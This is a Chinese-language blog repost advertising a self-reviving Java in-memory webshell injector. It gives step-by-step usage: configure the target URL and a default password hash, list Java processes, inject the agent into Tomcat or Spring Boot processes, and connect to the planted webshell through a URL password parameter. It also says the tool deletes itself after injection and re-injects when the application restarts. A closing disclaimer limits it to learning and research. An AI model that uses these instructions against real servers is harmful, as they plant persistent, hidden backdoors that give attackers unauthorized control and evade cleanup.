vlambda博客
学习文章列表

干货|Java内存马注入工具


一个可以复活的Java内存马

用法

1.先根据环境修改配置文件

配置文件位置在: agent_starter.jar内部config目录下

# 目标url IP地址可以是127.0.0.1。在web应用关闭时,会挂起一个新进程用于监听。当web应用重新启动后,会自动重新注入。
target_url=http://127.0.0.1:80/
# 连接密码的md5值 默认密码:Jundead
password=AC9A489BB6873C5FB760370FD62A793E
# 调试模式 开启后会在当前目录创建日志文件,也会在目标web服务中打印少量日志信息。
debug=false

2.列出Java进程列表

java -jar agent_starter.jar list

3.根据进程名注入

java -jar agent_starter.jar <displayName> <tomcat_version>

举例:java -jar agent_starter.jar "SpringbootDemo.jar" 9

注入进程的displayName是SpringbootDemo.jar,使用的tomcat_version是9。

PS: tomcat容器的进程名一般是:"org.apache.catalina.startup.Bootstrap start"

注入成功后会自动删除自身。

4.连接webshell

浏览器访问http://x.x.x.x/xxx?password=密码

FAQ

  • 注入成功了,但webshell不生效?

如果注入目标是Tomcat容器的应用,连接webshell的url必须是能够正常访问的url。如果注入目标是springboot框架应用,连接webshell的url可以是任意url。

Disclaimers

该项目仅供学习、研究之用,禁止用于非法用途。



历史文章推荐:






查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽